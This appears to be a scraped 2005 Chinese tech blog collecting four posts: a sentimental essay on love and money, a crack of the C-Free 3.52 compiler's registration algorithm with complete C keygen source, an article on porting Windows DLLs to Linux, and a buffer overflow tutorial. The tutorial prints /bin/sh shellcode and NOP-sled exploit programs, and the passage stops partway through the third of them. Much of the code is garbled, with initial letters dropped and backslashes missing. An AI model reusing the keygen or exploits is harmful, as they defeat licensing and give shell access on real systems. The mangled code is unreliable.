博客园-Fancy Blog

没有钱我们能爱多久

F4ncy Blog — Wed, 23 Nov 2005 12:30:00 GMT

没有钱我们能爱多久

我的女友很优秀，很出色，直至如今我仍想不出对她不一往情深的理由，她的优秀让我对所有感情的诱惑都不屑一顾，我们深深的倾情于对方，在校园那段美丽而又浪漫的日子里，我们身边全是羡慕的眼光。曾有一个喜欢我的女孩儿气乎乎的说我们的爱不会是永远，女友冲她做了个鬼脸，说我们是最幸福的一对。

在学校的时光过得开心而又潇洒，几乎每一次我们都是挽着手一起去上晚自习，无论再冷再热的天气我们都会换着时间在对方宿舍楼下等待。下雪的时候她为了我去学织手套，结果手都扎破了，为这些我幸福得炫耀了好多天。我们一起去食堂打饭，一起看电影，一起逛街，所有能在一起的时间我们都没有错过。我很喜欢我去打蓝球她在旁边拎着手服为我加油的样子，我很怀念她坐在我的旧单车后面轻轻依靠的感觉，我为她偷过花园里的玫瑰，为她和别人比赛爬高，结果我摔下来头都破了……那些日子，是我一生的最快乐。
　　　　
毕业后，我们为了能在一起和各自的家人都闹翻了，他们说我们不会幸福，可那根本无济于事，没人能拦住我们。
　　　　
可是，我们从搬进租来房子的第一天起，就默不作声的坐了半天，因我们第一次知道了什么都没有的滋味，她的父母是机关干部，她是他们唯一的女儿；我的家人做生意，而我也是独子，衣来伸手，饭来张口的待遇一去不复返，好在我们是相爱的，我们是真心的，于是相视着笑了，拍拍手，开始了新的生活。

社会给我们上了生动的一课。我们真正知道了有学历找工作也并非那么符合心愿，从起初的高不成低不就惭惭变成能挣钱的都干，体会了生活的艰辛，领教了现实的残酷，然而我们很开心，因为我们能在一起。
　　　　
第一个月发工资我给她买了条围巾，买了份烤鸭和饺子，她却哭了，像个委屈的孩子的在我怀里泣不成声，我的心酸透了，那一刻，我很难过。
　　　　
在寒冬的夜里，我们围着电暖哭取暖，她作出以苦思甜状靠在我的肩头，她美丽的大眼睛里的那种眼神让我感觉很忧伤，我伏在她耳边说一定要让她过上好日子，我们一定会像从前那样让人羡慕的。她说能相爱已经是很幸福的事情了，我们还奢求什么呢？只要你能留在我的身边，只要我们永远都能这样相偎着互相取暖，只要你发工资还能记得给我买烤鸭和饺子，我就是世上最幸福的女人，再说那些有钱人未必会像我们这样相亲相爱，记住，我们是最幸福的一对，无论发生什么事情我都不要你离开我！

她的话让我心头一热，紧紧的拥住她，我不敢让她看到我的眼泪，因为她喜欢坚强的男孩儿。我在心里一遍一遍告诉自己要努力，那晚我们再次海誓山盟，那晚我们幻想未来，那晚我们相约一辈子不离不弃。
　　　　
我想我们的爱够轰轰烈烈了，我想我们的情足以让天地动容了，可就在那晚，房东太太催我们交房租，我们的幸福很让她感动，但她眼睛里更多的是同情和怀疑。
　　
我们每次很穷的时候都会情不自禁的说起在学校的浪漫时光，那时我们不开心的时候只需在校园迷人的小路上拉着手走一段就没事了，那年的圣诞夜我跑遍了城市所有的精品屋才找到她喜爱已久的八音盒，那时她最爱给我讲王子与公主的故事，那时我的皮肤哪怕蹭破一块皮她也会心疼得掉眼泪。
　　　　
可是现在，我所能够给她的幸福只是在发工资时才舍得买的一份烤鸭和饺子。
　　
尽管生活慢慢的好起来，但这种所谓的进步只是相对于以前的寒酸。我们惭惭都有了个稳定的工作，也攒了一些钱，但从那时开始我们谈的最多的却成了如何买房子，我们幻想着有一天能有自己漂亮的私家车，她说她给我看中了一套皮尔卡丹西服，她说要把我打造成一个完美男人。可我知道，每次路过美容店的时候她都很忧伤，当我看到她那美丽的容颜因缺少保养而有些黯然的时候，我一下子感觉到了自己在这个社会里的渺小，惭愧呀，但却只能苦笑！于是那天我花了六百块钱给她买了点美容用的东西，她高兴得像个孩子那样又蹦又跳，此情此景，我唯一能做的也许只能是长叹一口气吧！
　　　　
我去过她就职的那家广告公司，那些不漂亮的女人们背着意大利真皮皮包，穿着上千元的套装。我也去过她同事的家，那些漂亮房子里有着超大屏幕的背投影电视，有着可以将整个人都埋进去的舒适的沙发，有浪漫的灯光，有红酒，甚至养着名贵的狗。女主人在炫耀着她的名牌袜子，她价值昂贵的首饰，这一切，只是因为她们找了个有钱的老公，面对满屋子的时尚，我偷偷的脸红了。
　　　　
她们兴高采烈的谈论着一部最新引进大片，而我却想到了女友在菜市场为了一毛两毛钱和人讨价还价的模样，别人说这么漂亮的女孩儿还这么小气时她的无地自容;记得有天她偷偷对着镜子流泪，因为她那纤细而又娇嫩的手因洗衣而变得苍白，因为 ……，我不知道能够列举出多少因为，但我知道，这一切，只是因为我们还没有能够过上像在家里那样的生活，因为我们没有钱；记起挤公交车的尴尬；记起她委屈而又不欲外露的神情。

我看了女友一眼，她双腮酡红，过了一会儿她提出有事要先告辞，我知道她是为我着想，我也清晰的记得，那一晚，我们都失眠了。
　　　　
从此她成了幸福但不快乐的女孩儿，她像我一样拼命的工作，打拼在这个现实的社会里，每天一下班都已是一身一心的疲惫，望着她曾经天真单纯而今写满倦意的脸
庞，望着她为了不让我难过而强自微笑的表情，我的心碎了。
　　　　
于是我拼命的挣钱，像牛一样勤耕不辍，拉着我们的感情前行。我们的事业是有希望的，因为我们有才华，因为我们很努力，但成功却是一个漫长的过程。生活过的好一些了，但我们都知道在我们工作的那个圈子，我们依旧是贫下中农，我偷偷的学会了喝酒、抽烟。
　　　　
在二年七个月零十三天的那个晚上，她走了，留下一封让我心碎而又无奈的信，她说：宝贝儿，我很爱你，你知道的，我很爱你！为了你，我可以什么都不顾，为了你，我可以毫不犹豫的牺牲自己，你是我的一切，是我的幸福，可正是因为这份爱才让我决定离开你，我将所有的眼泪都留在了这间屋子里，我将所有的情谊都刻在了心里，可我不忍再看你为了让我过的好一点而不要命的工作，我不忍再看你在压力下日惭消瘦，你知道吗？每次你偷偷的喝酒回来，我的心都在痛啊！

我很无奈，我们都很无奈，因为我不知道，没有钱，我们能爱多久？
　　　　
当初，为了你我留了下来，如今，为了你我要离开，我的背包里装满了让人心醉的回忆，也许有一天我还会回来，因为我爱你，没有你，我的生命便没有色彩，可是现在让我走吧，那样你会轻松一点，我们都会轻松一点，好吗？
　　　　
照顾自己……
　　　　　　　　　　　　　　　　　　　　　　　
是啊！没有钱，我们能爱多久？” 在她走后，我反复的吟念这句让人心酸的台词，眼泪再次无声的滑落……

[新闻]51.COM技术副总裁邵辉跳槽百度
博客园首页社区新闻频道小组博问网摘闪存

编译器C-Free V352注册算法分析

F4ncy Blog — Mon, 19 Sep 2005 13:23:00 GMT

编译器C-Free V352注册算法分析

作者：prince

ASPack 2.12 脱壳很简单，ASPackDie也可以轻松对付。无自校验，脱壳后可直接运行。注册情况：机器码给出，输入用户名prince和序列号8764321，确定，提示重启验证。
说到重启验证，最简单最直接的就想到注册表，确认一下，打开注册表搜索用户名prince，果然找到在\HKEY_LOCAL_MACHINE\SOFTWARE\C-Free\3.5下，同样列在其中的还有我们输入的假码87654321和我机器上的机器码(MachineCode)2781318776。这下我们就可以确定了软件确实是通过注册表来进行重启验证的。目标如此明确，载入脱壳后的程序，下断点RegQueryValueA，恩？没有，再下RegQueryValueExA，呵呵，可以了。F9运行，马上被断下，看堆栈，ValueName = "layout text"，不是我们想要的，继续F9，注意断点不能取消，因为后面的对注册表的读取还是要靠这个函数，再次断下，还不是，再运行...，大约81次，堆栈中显示ValueName
= "MachineCode"，这就是要读取机器码了，注意。再次F9，断在读取RegistryCode也就是假码的地方，呵呵，敏感。再接下来是读取UserName，即用户名。到这里，计算注册码的准备工作就做完了，可是在那里计算的呢？作者在软件启动的时候将所有的配置信息连同机器码，用户名和注册码一起读出，而且也没有读出后立即计算注册码继续比较，这就给我们定位注册码计算造成了困难。这个时候我们该怎么办？两个办法，一个就是下面都进行单步跟踪，直到找到关键函数为止，毕竟软件在启动前肯定会计算注册码的；另外一个办法就是在内存中搜索假码然后下内存断点，这个方法倒是即快又方便，但是要掌握时机，具体什么时候搜内存要看代码的动作。我通常都是先搜内存，不行的话只好一步一步的单跟了，做Cracker要有耐心。当你在堆栈中看到ValueName = "EditorTabWidth"的时候，小心，呵呵，我们到了藏有宝藏的秘密入口了。

----------------------------------------------------------------------------------------

我们要找算法的计算过程，所以004196D5 处跟进：

----------------------------------------------------------------------------------------

00462F9D 处继续跟进：

----------------------------------------------------------------------------------------

没有结果，00586216处继续跟进：

----------------------------------------------------------------------------------------

呵呵，过程清晰明了吧？第一次循环：机器码异或0x90909090的结果除以前面求得的压栈的余数，然后这个过程的余数写入内存保留，商作为下一次循环的变量继续循环。第二次循环：将第一次循环中写入内存的值逆序读取出来，同0xA比较，小于就直接加上0x30，作为注册码的第i个字符写入内存；大于等于则加上61，再加0xF6，取低字节作为注册码的第i个字符写入内存。用户名没有参与计算。也不知道我说明白了没有，还是看程序来得直接，C源码的注册机：

-----------------------------------------------------------------------------------------

#include "stdafx.h"
#include "stdlib.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
        char chKey[128] = {0};
        unsigned int unXORCode, unRemainder, unQuotient, unTmp, unMachineCode;
        printf("Please Key in the Machine Code:\n");
        scanf("%d", &unMachineCode);

        unXORCode   = unMachineCode ^ 0x90909090;
        unRemainder = unXORCode % 0x25;
        unQuotient = unXORCode;
        if (unRemainder < 0x11)
        {
                unRemainder += 0x11;
        }

        int i;
        i = 0;
        while (unQuotient != 0)
        {
                unTmp          = unQuotient % unRemainder;
                unQuotient /= unRemainder;
                if (unTmp >= 0xa)
                {
                        unTmp = unTmp + 0x61 + 0xf6;
                        unTmp &= 0x0ff;
                        chKey[i] = unTmp;
                }
                else
                {
                        chKey[i] = unTmp + 0x30;
                }
                i++;
        }
        printf("Key is: \n");
        while (i >= 0)
        {
                printf("%c", chKey[i]);
                i--;
        }
        printf("\n");

return 0;
}

-----------------------------------------------------------------------------------------

[新闻]Mono 2.0终于到来
博客园首页社区新闻频道小组博问网摘闪存

深入分析Windows和Linux动态库应用异同

F4ncy Blog — Mon, 19 Sep 2005 12:47:00 GMT

深入分析Windows和Linux动态库应用异同

作者：刘世栋杨林

摘要：动态链接库技术实现和设计程序常用的技术，在Windows和Linux系统中都有动态库的概念，采用动态库可以有效的减少程序大小，节省空间，提高效率，增加程序的可扩展性，便于模块化管理。

但不同操作系统的动态库由于格式不同，在需要不同操作系统调用时需要进行动态库程序移植。本文分析和比较了两种操作系统动态库技术，并给出了将Visual C++编制的动态库移植到Linux上的方法和经验。

1、引言

动态库（Dynamic Link Library abbr，DLL）技术是程序设计中经常采用的技术。其目的减少程序的大小，节省空间，提高效率，具有很高的灵活性。

采用动态库技术对于升级软件版本更加容易。与静态库（Static Link Library）不同，动态库里面的函数不是执行程序本身的一部分，而是根据执行需要按需载入，其执行代码可以同时在多个程序中共享。

在Windows和Linux操作系统中，都可采用这种方式进行软件设计，但他们的调用方式以及程序编制方式不尽相同。本文首先分析了在这两种操作系统中通常采用的动态库调用方法以及程序编制方式，然后分析比较了这两种方式的不同之处，最后根据实际移植程序经验，介绍了将VC++编制的Windows动态库移植到Linux下的方法。

2、动态库技术

2.1 Windows动态库技术

动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含外部函数和资源，也有一些动态库只包含资源，如Windows字体资源文件，称之为资源动态链接库。通常动态库以.dll，.drv、.fon等作为后缀。

相应的windows静态库通常以.lib结尾，Windows自己就将一些主要的系统功能以动态库模块的形式实现。

Windows动态库在运行时被系统加载到进程的虚拟空间中，使用从调用进程的虚拟地址空间分配的内存，成为调用进程的一部分。DLL也只能被该进程的线程所访问。DLL的句柄可以被调用进程使用；调用进程的句柄可以被DLL使用。

DLL模块中包含各种导出函数，用于向外界提供服务。DLL可以有自己的数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式；一个DLL在内存中只有一个实例；DLL实现了代码封装性；DLL的编制与具体的编程语言及编译器无关，可以通过DLL来实现混合语言编程。DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。

根据调用方式的不同，对动态库的调用可分为静态调用方式和动态调用方式。

(1)静态调用，也称为隐式调用，由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码（Windows系统负责对DLL调用次数的计数），调用方式简单，能够满足通常的要求。通常采用的调用方式是把产生动态连接库时产生的.LIB文件加入到应用程序的工程中，想使用DLL中的函数时，只须在源文件中声明一下。

LIB文件包含了每一个DLL导出函数的符号名和可选择的标识号以及DLL文件名，不含有实际的代码。Lib文件包含的信息进入到生成的应用程序中，被调用的DLL文件会在应用程序加载时同时加载在到内存中。

(2)动态调用，即显式调用方式，是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，比较复杂，但能更加有效地使用内存，是编制大型应用程序时的重要方式。在Windows系统中，与动态库调用有关的函数包括：

①LoadLibrary（或MFC 的AfxLoadLibrary），装载动态库。

②GetProcAddress，获取要引入的函数，将符号名或标识号转换为DLL内部地址。

③FreeLibrary（或MFC的AfxFreeLibrary），释放动态链接库。

在windows中创建动态库也非常方便和简单。在Visual C++中，可以创建不用MFC而直接用C语言写的DLL程序，也可以创建基于MFC类库的DLL程序。每一个DLL必须有一个入口点，在VC++中，DllMain是一个缺省的入口函数。DllMain负责初始化(Initialization)和结束(Termination)工作。

动态库输出函数也有两种约定，分别是基于调用约定和名字修饰约定。DLL程序定义的函数分为内部函数和导出函数，动态库导出的函数供其它程序模块调用。通常可以有下面几种方法导出函数：

①采用模块定义文件的EXPORT部分指定要输入的函数或者变量。

②使用MFC提供的修饰符号_declspec(dllexport)。

③以命令行方式，采用/EXPORT命令行输出有关函数。

在windows动态库中，有时需要编写模块定义文件(.DEF)，它是用于描述DLL属性的模块语句组成的文本文件。

2.2 Linux共享对象技术

在Linux操作系统中，采用了很多共享对象技术（Shared Object），虽然它和Windows里的动态库相对应，但它并不称为动态库。相应的共享对象文件以.so作为后缀，为了方便，在本文中，对该概念不进行专门区分。Linux系统的/lib以及标准图形界面的/usr/X11R6/lib等目录里面，就有许多以so结尾的共享对象。

同样，在Linux下，也有静态函数库这种调用方式，相应的后缀以.a结束。Linux采用该共享对象技术以方便程序间共享，节省程序占有空间，增加程序的可扩展性和灵活性。Linux还可以通过LD-PRELOAD变量让开发人员可以使用自己的程序库中的模块来替换系统模块。

同Windows系统一样，在Linux中创建和使用动态库是比较容易的事情，在编译函数库源程序时加上-shared选项即可，这样所生成的执行程序就是动态链接库。通常这样的程序以so为后缀，在Linux动态库程序设计过程中，通常流程是编写用户的接口文件，通常是.h文件，编写实际的函数文件，以.c或.cpp为后缀，再编写makefile文件。对于较小的动态库程序可以不用如此，但这样设计使程序更加合理。

编译生成动态连接库后，进而可以在程序中进行调用。在Linux中，可以采用多种调用方式，同Windows的系统目录(..\system32等)一样，可以将动态库文件拷贝到/lib目录或者在/lib目录里面建立符号连接，以便所有用户使用。

下面介绍Linux调用动态库经常使用的函数，但在使用动态库时，源程序必须包含dlfcn.h头文件，该文件定义调用动态链接库的函数的原型。

(1)_打开动态链接库：dlopen，函数原型void *dlopen (const char *filename, int flag); dlopen用于打开指定名字(filename)的动态链接库，并返回操作句柄。

(2)取函数执行地址：dlsym，函数原型为: void *dlsym(void *handle, char *symbol); dlsym根据动态链接库操作句柄(handle)与符号(symbol)，返回符号对应的函数的执行代码地址。

(3)关闭动态链接库：dlclose，函数原型为: int dlclose (void *handle); dlclose用于关闭指定句柄的动态链接库，只有当此动态链接库的使用计数为0时,才会真正被系统卸载。

(4)动态库错误函数：dlerror，函数原型为: const char *dlerror(void); 当动态链接库操作函数执行失败时，dlerror可以返回出错信息，返回值为NULL时表示操作函数执行成功。

在取到函数执行地址后，就可以在动态库的使用程序里面根据动态库提供的函数接口声明调用动态库里面的函数。在编写调用动态库的程序的makefile文件时，需要加入编译选项-rdynamic和-ldl。

除了采用这种方式编写和调用动态库之外，Linux操作系统也提供了一种更为方便的动态库调用方式，也方便了其它程序调用，这种方式与Windows系统的隐式链接类似。其动态库命名方式为“lib*.so.*”。在这个命名方式中，第一个*表示动态链接库的库名，第二个*通常表示该动态库的版本号，也可以没有版本号。

在这种调用方式中，需要维护动态链接库的配置文件/etc/ld.so.conf来让动态链接库为系统所使用，通常将动态链接库所在目录名追加到动态链接库配置文件中。如具有X window窗口系统发行版该文件中都具有/usr/X11R6/lib，它指向X window窗口系统的动态链接库所在目录。

为了使动态链接库能为系统所共享，还需运行动态链接库的管理命令./sbin/ldconfig。在编译所引用的动态库时，可以在gcc采用 –l或-L选项或直接引用所需的动态链接库方式进行编译。在Linux里面，可以采用ldd命令来检查程序依赖共享库。

3、两种系统动态库比较分析

Windows和Linux采用动态链接库技术目的是基本一致的，但由于操作系统的不同，他们在许多方面还是不尽相同，下面从以下几个方面进行阐述。

(1)动态库程序编写，在Windows系统下的执行文件格式是PE格式，动态库需要一个DllMain函数作为初始化的人口，通常在导出函数的声明时需要有_declspec(dllexport)关键字。Linux下的gcc编译的执行文件默认是ELF格式，不需要初始化入口，亦不需要到函数做特别声明，编写比较方便。

(2)动态库编译，在windows系统下面，有方便的调试编译环境，通常不用自己去编写makefile文件，但在linux下面，需要自己动手去编写makefile文件，因此，必须掌握一定的makefile编写技巧，另外，通常Linux编译规则相对严格。

(3)动态库调用方面，Windows和Linux对其下编制的动态库都可以采用显式调用或隐式调用，但具体的调用方式也不尽相同。

(4)动态库输出函数查看，在Windows中，有许多工具和软件可以进行查看DLL中所输出的函数，例如命令行方式的dumpbin以及VC++工具中的DEPENDS程序。在Linux系统中通常采用nm来查看输出函数，也可以使用ldd查看程序隐式链接的共享对象文件。

(5)对操作系统的依赖，这两种动态库运行依赖于各自的操作系统，不能跨平台使用。因此，对于实现相同功能的动态库，必须为两种不同的操作系统提供不同的动态库版本。

4、动态库移植方法

如果要编制在两个系统中都能使用的动态链接库，通常会先选择在Windows的VC++提供的调试环境中完成初始的开发，毕竟VC++提供的图形化编辑和调试界面比vi和gcc方便许多。完成测试之后，再进行动态库的程序移植。

通常gcc默认的编译规则比VC++默认的编译规则严格，即使在VC++下面没有任何警告错误的程序在gcc调试中也会出现许多警告错误，可以在gcc中采用-w选项关闭警告错误。

下面给出程序移植需要遵循的规则以及经验。

(1)尽量不要改变原有动态库头文件的顺序。通常在C/C++语言中，头文件的顺序有相当的关系。另外虽然C/C++语言区分大小写，但在包含头文件时，Linux必须与头文件的大小写相同，因为ext2文件系统对文件名是大小写敏感，否则不能正确编译，而在Windows下面，头文件大小写可以正确编译。

(2)不同系统独有的头文件。在Windows系统中，通常会包括windows.h头文件，如果调用底层的通信函数，则会包含winsock..h头文件。因此在移植到Linux系统时，要注释掉这些Windows系统独有的头文件以及一些windows系统的常量定义说明，增加Linux都底层通信的支持的头文件等。

(3)数据类型。VC++具有许多独有的数据类型，如__int16，__int32，TRUE，SOCKET等，gcc编译器不支持它们。通常做法是需要将windows.h和basetypes.h中对这些数据进行定义的语句复制到一个头文件中，再在Linux中包含这个头文件。例如将套接字的类型为SOCKET改为int。

(4)关键字。VC++中具有许多标准C中所没有采用的关键字，如BOOL，BYTE，DWORD，__asm等，通常在为了移植方便，尽量不使用它们，如果实在无法避免可以采用#ifdef 和#endif为LINUX和WINDOWS编写两个版本。

(5)函数原型的修改。通常如果采用标准的C/C++语言编写的动态库，基本上不用再重新编写函数，但对于系统调用函数，由于两种系统的区别，需要改变函数的调用方式等，如在Linux编制的网络通信动态库中，用close()函数代替windows操作系统下的closesocket()函数来关闭套接字。另外在Linux下没有文件句柄，要打开文件可用open和fopen函数，具体这两个函数的用法可参考文献[2]。

(6)makefile的编写。在windows下面通常由VC++编译器来负责调试，但gcc需要自己动手编写makefile文件，也可以参照VC++生成的makefile文件。对于动态库移植，编译动态库时需要加入-shared选项。对于采用数学函数，如幂级数的程序，在调用动态库是，需要加入-lm。

(7)其它一些需要注意的地方

①程序设计结构分析，对于移植它人编写的动态库程序，程序结构分析是必不可少的步骤，通常在动态库程序中，不会包含界面等操作，所以相对容易一些。

②在Linux中，对文件或目录的权限分为拥有者、群组、其它。所以在存取文件时，要注意对文件是读还是写操作，如果是对文件进行写操作，要注意修改文件或目录的权限，否则无法对文件进行写。

③指针的使用，定义一个指针只给它分配四个字节的内存，如果要对指针所指向的变量赋值，必须用malloc函数为它分配内存或不把它定义为指针而定义为变量即可，这点在linux下面比windows编译严格。同样结构不能在函数中传值，如果要在函数中进行结构传值，必须把函数中的结构定义为结构指针。

④路径标识符，在Linux下是“/”，在Windows下是“\”，注意windows和Linux的对动态库搜索路径的不同。

⑤编程和调试技巧方面。对不同的调试环境有不同的调试技巧，在这里不多叙述。

5、结束语

本文系统分析了windows和Linux动态库实现和使用方式，从程序编写、编译、调用以及对操作系统依赖等方面综合分析比较了这两种调用方式的不同之处，根据实际程序移植经验，给出了将VC++编制的Windows动态库移植到Linux下的方法以及需要注意的问题，同时并给出了程序示例片断，实际在程序移植过程中，由于系统的设计等方面，可能移植起来需要注意的方面远比上面复杂，本文通过总结归纳进而为不同操作系统程序移植提供了有意的经验和技巧。

[新闻]Mono 2.0终于到来
博客园首页社区新闻频道小组博问网摘闪存

从头到脚了解缓冲溢出

F4ncy Blog — Mon, 19 Sep 2005 12:46:00 GMT

从头到脚了解缓冲溢出

作者：Wendy

在这份指南中，我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言，如果熟悉GDB的话更加好，当然这不是很必要的。

(Memory organization)存储器分为3个部分

1. 文本区域(程序区）

这个部分是用来存储程序指令的.所以，这个区域被标示为只读，任何写的操作都将导致错误。

2. 数据区域

这个部分存储静态变量，它的大小可以由brk()系统调用来改变。

3. 堆栈

堆栈有个特殊的属性，就是最新放置在它里面的，都将是第一个被移出堆栈的。在计算机科学里，这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程，这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的，返回地址在过程被调用之前就被设置在堆栈中。

它也被用来动态分配函数中的变量，以及函数的参数和返回值。

返回地址和指令指针

计算机执行一条指令，并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。执行完成后，RET将会替换IP，程序接着继续执行本来的流程。

一个缓冲溢出

让我们用一个例子来说明以下缓冲溢出。

lt;++> buffer/example.c
void main(){
char big_string［100］;
char small_string［50］;
memset(big_string,0x41,100);
/* strcpy(char *to,char *from) */
trcpy(small_string,big_string);}
lt;--> end of example.c

这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显，数组small_string不能容纳100个字符，因此，溢出产生。

接下来我们看看存储器中的变化情况:

［ big_string ］［ small_string ］［SFP］［RET］

在溢出中，SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候，指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着，计算机会试着去执行在0x41414141处的指令。这将会导致段冲突，因为这个地址已经超出了处理范围。

发掘漏洞

现在我们知道我们可以通过覆盖RET来改变程序的正常流程，我们可以实验一下。不是用A来覆盖，而是用一些特别的地址来达到我们的目的。

任意代码的执行

现在我们需要一些东西来指向地址并执行。在大多数情况下，我们需要产生一个shell，当然这不是惟一的方法。

Before:
FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
B = the buffer
E = stack frame pointer
R = return address
F = other data
After:
FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
S = shellcode
A = address pointing to the shellcode
F = other data

用C来产生shell的代码如下:

lt;++> buffer/shell.c
void main(){
char *name［2］;
ame［0］ = "/bin/sh";
ame［1］ = 0x0;
execve(name［0］, name, 0x0);
exit(0);
}
lt;--> end of shellcode

这里我们就不打算去解释如何去写一个shellcode了，因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说，可以根据以下的步骤来完成：

- 用 -static flag 开关来编译上面的程序

- 用GDB来打开上面的程序，然后用“disassemble main”命令

- 去掉所有不必要的代码

- 用汇编来重写它

- 编译，然后再用GDB打开，用“disassemble main”命令

- 在指令地址使用 x/bx 命令，找回 hex-code.

或者你可以使用这些代码

char shellcode［］=
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

寻找地址

当我们尝试去溢出一个程序的缓冲区的时候，这个程序要寻找这个缓冲区的地址。这个问题的答案是：对每个程序来说，堆栈都是在同一个地址上开始的。因此，只要知道了这个堆栈的地址是在哪里的，我们就可以猜出这个缓冲区的地址了。

下面这个程序会告诉我们这个程序的的堆栈指针:

lt;++> buffer/getsp.c
unsigned long get_sp(void){
__asm__("movl %esp, %eax);
}
void main(){
fprintf(stdout,"0x%xn",get_sp());
}
lt;--> end of getsp.c

试一下下面这个例子

lt;++> buffer/hole.c
void main(int argc,char **argv［］){
char buffer［512］;
if (argc > 1) /* otherwise we crash our little program */
trcpy(buffer,argv［1］);
}
lt;--> end of hole.c
lt;++> buffer/exploit1.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode［］ =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv［］)
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv［1］);
if (argc > 2) offset = atoi(argv［2］);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
tr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode［i］;
uff［bsize - 1］ = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit1.c

现在我们可以猜出offset (bufferaddress = stackpointer + offset).

［hosts］$ exploit1 600

Using address: 0xbffff6c3

［hosts］$ ./hole $BUF

［hosts］$ exploit1 600 100

Using address: 0xbffffce6

［hosts］$ ./hole $BUF

egmentation fault

etc.

就象你所知道的那样，这个过程几乎是不可能发生的，这样，我们不得不去猜出更精确的溢出地址。为了增加我们的机会，我们可以在我们的缓冲溢出的shellcode前加上 NOP（空操作）指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中，我们的代码就可以在下面一步执行了。

存储器的内容应该是这样的:

FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF

N = NOP

S = shellcode

A = address pointing to the shellcode

F = other data

我们把原先的代码改了一下

lt;++> buffer/exploit2.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode［］ =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv［］)
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv［1］);
if (argc > 2) offset = atoi(argv［2］);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
rintf("Using address: 0x%xn", addr);
tr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
uff［i］ = NOP;
tr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode［i］;
uff［bsize - 1］ = '0';
memcpy(buff,"BUF=",4);
utenv(buff);
ystem("/bin/bash");
}
lt;--> end of exploit2.c
［hosts］$ exploit2 600
Using address: 0xbffff6c3
［hosts］$ ./hole $BUF
egmentation fault
［hosts］$ exploit2 600 100
Using address: 0xbffffce6
［hosts］$ ./hole $BUF
#exit
［hosts］$

为了更完善我们的代码，我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用，并把shellcode送到环境变量中去。

lt;++> buffer/exploit3.c
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode［］ =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv［］)
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv［1］);
if (argc > 2) offset = atoi(argv［2］);
if (argc > 3) eggsize = atoi(argv［3］);
if (!(buff = malloc(bsize))) {
rintf("Can't allocate memory.n");
exit(0);
}
